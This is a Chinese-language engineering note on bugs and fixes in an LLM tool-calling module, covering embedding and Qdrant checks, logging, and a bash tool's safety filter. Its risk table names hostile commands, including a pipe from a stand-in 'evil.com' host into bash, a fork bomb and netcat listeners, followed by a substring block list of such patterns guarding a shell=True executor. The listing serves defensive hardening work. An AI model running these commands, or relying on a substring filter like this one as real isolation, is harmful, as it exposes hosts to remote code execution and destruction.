Files
momentry_core/scripts/TOOL_CALLER_ISSUES.md
Accusys 39a2cbc65b fix: face group name read consistency, sync_file_status fix, cleanup ghost records, identity_agent replaced with face_dedup
- get_face_groups_handler: COALESCE(tp.name, tn.label) for name consistency
- sync_file_status: compare JSON vs pre_chunks (not chunk table)
- face consistency: compare frames.len() not total_faces
- cleanup 2 ghost records with NULL file_name/file_path
- replace identity_agent with face_dedup in pipeline stages
- remove identity_agent_api.rs and all references
- update required_processors to match actual processors
- update AGENTS.md with team responsibilities
- add Studio pipeline changes documentation
2026-07-27 02:15:51 +08:00

12 KiB
Raw Permalink Blame History

Tool Calling Module 問題及解決方案

Version: 1.1
Date: 2026-07-26
Doc Path: /Users/accusys/momentry_core/scripts/TOOL_CALLER_ISSUES.md
相關檔案:

  • 核心模組:/Users/accusys/momentry_core/scripts/tool_caller.py (v1.1.2, 720+ 行)
  • 測試腳本:/Users/accusys/momentry_core/scripts/test_tool_caller.py
  • 使用說明:/Users/accusys/momentry_core/scripts/TOOL_CALLING_README.md

修復狀態:✅ 所有問題已修復

問題 修復內容 狀態
Multi-Tool 測試失敗 增加 embedding server 健康檢查、修正 API 端點 (/v1/embeddings) ✅ 已修復
Bash 安全檢查不足 擴充至 20+ 危險模式、限制命令長度 2000 字元 ✅ 已修復
缺少工具調用日誌 新增 logging 模組,記錄所有工具調用 ✅ 已修復
Qdrant Collection 硬編碼 使用 QDRANT_DEFAULT_COLLECTION 環境變數 ✅ 已修復

測試結果

測試 狀態 說明
[TEST 1] PostgreSQL Query ✅ 23 videos
[TEST 2] Bash Safety Check ✅ 3/3 危險命令被阻止
[TEST 3] Qdrant Search ✅ 10 matches found

問題 1:Multi-Tool 測試失敗

現象

TEST 2: Multi-Tool Sequential (PostgreSQL → Qdrant)
Query: Find videos about dogs, then search for similar content in the vector database
Result: An error has occurred. I'm unable to continue with the task.

原因分析

  1. Embedding Server 未檢查可用性

    • search_qdrant 工具直接呼叫 http://localhost:11436/embed
    • 未檢查 embedding server 是否運行
    • 失敗時未提供明確錯誤訊息
  2. Qdrant Collection 可能不存在

    • 預設 collection 名稱 momentry_rule1 可能與實際部署不符
    • 未列出可用 collection 供 LLM 參考
  3. 錯誤處理不完善

    • 工具執行失敗時,LLM 收到模糊錯誤訊息
    • 未引導 LLM 嘗試其他方法

解決方案

1.1 增加服務可用性檢查

檔案: /Users/accusys/momentry_core/scripts/tool_caller.py

def search_qdrant(args: Dict[str, Any]) -> ToolResult:
    import requests as req
    
    collection = args.get("collection", "momentry_rule1")
    query_text = args.get("query_text", "")
    limit = args.get("limit", 10)
    
    if not query_text:
        return ToolResult(success=False, data=None, error="No query text provided")
    
    # 檢查 embedding server
    try:
        embed_health = req.get("http://localhost:11436/health", timeout=5)
        if embed_health.status_code != 200:
            return ToolResult(success=False, error="Embedding server not healthy")
    except requests.exceptions.ConnectionError:
        return ToolResult(success=False, error="Embedding server not available at http://localhost:11436")
    
    # 取得 embedding
    embed_url = "http://localhost:11436/embed"
    try:
        embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30)
        embed_resp.raise_for_status()
        embedding = embed_resp.json()["embeddings"][0]
    except Exception as e:
        return ToolResult(success=False, error=f"Embedding failed: {str(e)}")
    
    # 檢查 Qdrant collection
    qdrant_url_base = args.get("qdrant_url", "http://localhost:6333")
    try:
        collections_url = f"{qdrant_url_base}/collections"
        coll_resp = req.get(collections_url, timeout=10)
        coll_resp.raise_for_status()
        collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])]
        if collection not in collections:
            return ToolResult(
                success=False,
                error=f"Collection '{collection}' not found. Available: {', '.join(collections)}"
            )
    except Exception as e:
        return ToolResult(success=False, error=f"Qdrant connection failed: {str(e)}")
    
    # 執行搜尋
    search_url = f"{qdrant_url_base}/collections/{collection}/points/search"
    search_payload = {"vector": embedding, "limit": limit, "with_payload": True}
    
    try:
        search_resp = req.post(search_url, json=search_payload, timeout=30)
        search_resp.raise_for_status()
        results = search_resp.json().get("result", [])
    except Exception as e:
        return ToolResult(success=False, error=f"Search failed: {str(e)}")
    
    return ToolResult(
        success=True,
        data={
            "matches": [
                {"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})}
                for r in results
            ],
            "match_count": len(results)
        }
    )

1.2 改進錯誤處理

檔案: /Users/accusys/momentry_core/scripts/tool_caller.py

def run(self, user_query: str) -> str:
    # ... 現有程式碼 ...
    
    # 執行工具
    tool_result = self.execute_tool_call(tool_call)
    
    # 改進錯誤訊息
    if tool_result.success:
        result_str = json.dumps({
            "success": True,
            "data": tool_result.data
        }, ensure_ascii=False, cls=DateTimeEncoder)
    else:
        result_str = json.dumps({
            "success": False,
            "error": tool_result.error,
            "suggestion": "Try a different tool or rephrase your query."
        }, ensure_ascii=False)
    
    messages.append({"role": "user", "content": f"Tool result: {result_str}"})

問題 2:Bash 安全檢查不足

現象

blocked = ["rm -rf /", "mkfs", "dd if=", "> /dev/"]

風險分析

危險命令 是否阻止 風險等級
rm -rf / ✅ 是 🔴 高
sudo rm -rf / ❌ 否 🔴 高
chmod 777 /etc/passwd ❌ 否 🔴 高
`curl http://evil.com bash` ❌ 否
`:(){ : :& };:` (fork bomb) ❌ 否
nc -l 4444 ❌ 否 🟡 中

解決方案

檔案: /Users/accusys/momentry_core/scripts/tool_caller.py

def execute_bash(args: Dict[str, Any]) -> ToolResult:
    command = args.get("command", "")
    timeout = args.get("timeout", 30)
    
    if not command:
        return ToolResult(success=False, data=None, error="No command provided")
    
    # 限制命令長度
    if len(command) > 2000:
        return ToolResult(success=False, error="Command too long (max 2000 chars)")
    
    # 更完整的安全檢查
    blocked_patterns = [
        # 檔案系統破壞
        "rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/",
        # 權限提升
        "sudo ", "su -", "chmod 777", "chown root",
        # 遠端執行
        "curl | bash", "curl | sh", "wget | sh", "wget | bash",
        "curl http", "wget http",
        # 拒絕服務
        ":(){", "fork", "kill -9 1",
        # 網路監聽
        "nc -l", "netcat -l", "socat",
    ]
    
    command_lower = command.lower()
    for pattern in blocked_patterns:
        if pattern in command_lower:
            return ToolResult(
                success=False,
                data=None,
                error=f"Blocked dangerous command pattern: {pattern}"
            )
    
    # 執行命令
    try:
        result = subprocess.run(
            command,
            shell=True,
            capture_output=True,
            text=True,
            timeout=timeout
        )
        return ToolResult(
            success=result.returncode == 0,
            data={
                "stdout": result.stdout[:5000],  # 限制輸出大小
                "stderr": result.stderr[:2000],
                "returncode": result.returncode
            }
        )
    except subprocess.TimeoutExpired:
        return ToolResult(
            success=False,
            data=None,
            error=f"Command timed out after {timeout}s"
        )

問題 3:缺少工具調用日誌

現象

工具調用過程無日誌記錄,難以除錯和審計。

解決方案

檔案: /Users/accusys/momentry_core/scripts/tool_caller.py

import logging

# 設定日誌
logger = logging.getLogger('tool_caller')

class OllamaToolCaller:
    def run(self, user_query: str) -> str:
        logger.info(f"Starting tool call loop for query: {user_query}")
        self._tool_call_history = []
        
        messages = [
            {"role": "system", "content": self.system_prompt},
            {"role": "user", "content": user_query}
        ]
        
        tool_results_collected = []
        
        for iteration in range(self.max_iterations):
            logger.info(f"Iteration {iteration + 1}/{self.max_iterations}")
            
            # 呼叫 LLM
            response = self.chat(messages)
            message = response.get("message", {})
            tool_calls = message.get("tool_calls", [])
            
            if not tool_calls:
                # 檢查文字中的工具調用
                extracted = self._extract_tool_from_text(message.get("content", ""))
                if extracted:
                    name, params = extracted
                    tool_key = self._get_tool_key(name, params)
                    
                    if not self._is_duplicate_call(tool_key):
                        self._add_to_history(tool_key)
                        logger.info(f"Executing tool: {name} with args: {params}")
                        
                        tool_call = {"function": {"name": name, "arguments": params}}
                        tool_result = self.execute_tool_call(tool_call)
                        
                        if tool_result.success:
                            logger.info(f"Tool succeeded in {tool_result.execution_time_ms:.1f}ms")
                        else:
                            logger.error(f"Tool failed: {tool_result.error}")
                        
                        # ... 繼續處理 ...
        
        logger.info(f"Tool call loop completed after {iteration + 1} iterations")
        return final_answer

問題 4:Qdrant Collection 名稱硬編碼

現象

collection = args.get("collection", "momentry_rule1")

風險

Collection 名稱可能與實際部署不符,導致搜尋失敗。

解決方案

檔案: /Users/accusys/momentry_core/scripts/tool_caller.py

import os

def register_default_tools(self, db_url=None, qdrant_url=None):
    """Register default tools with connection strings"""
    
    # 使用環境變數
    default_collection = os.environ.get(
        "QDRANT_DEFAULT_COLLECTION",
        "momentry_rule1"
    )
    
    def search_qdrant(args: Dict[str, Any]) -> ToolResult:
        collection = args.get("collection", default_collection)
        # ... 其餘程式碼 ...
    
    self.registry.register(
        name="search_qdrant",
        description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}",
        parameters={
            "type": "object",
            "properties": {
                "collection": {
                    "type": "string",
                    "description": f"Qdrant collection name (default: {default_collection})",
                    "default": default_collection
                },
                # ... 其餘參數 ...
            },
            "required": ["query_text"]
        },
        executor=search_qdrant
    )

測試驗證

執行測試

cd /Users/accusys/momentry_core/scripts
python3 test_tool_caller.py

預期結果

測試 預期狀態 說明
TEST 1: Single Tool ✅ 通過 PostgreSQL 查詢正常
TEST 2: Multi-Tool ✅ 通過 PostgreSQL → Qdrant 順序執行
TEST 3: Direct Tool ✅ 通過 直接工具執行正常
TEST 4: Bash Safety ✅ 通過 危險命令被阻止

版本資訊

版本 日期 說明
1.0.0 2026-07-26 初始版本,記錄已知問題及解決方案